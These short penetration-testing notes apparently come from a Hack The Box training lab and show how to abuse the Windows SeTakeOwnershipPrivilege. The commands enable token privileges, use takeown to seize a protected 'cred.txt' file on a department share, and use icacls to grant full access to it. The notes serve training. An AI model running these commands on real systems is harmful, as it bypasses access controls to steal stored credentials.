SeTakeOwnershipPrivilege
Enable SeTakeOwnershipPrivilege
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
Using takeown to change ownership of a file to current user
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
- if file is still unreadable, use icalcs
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F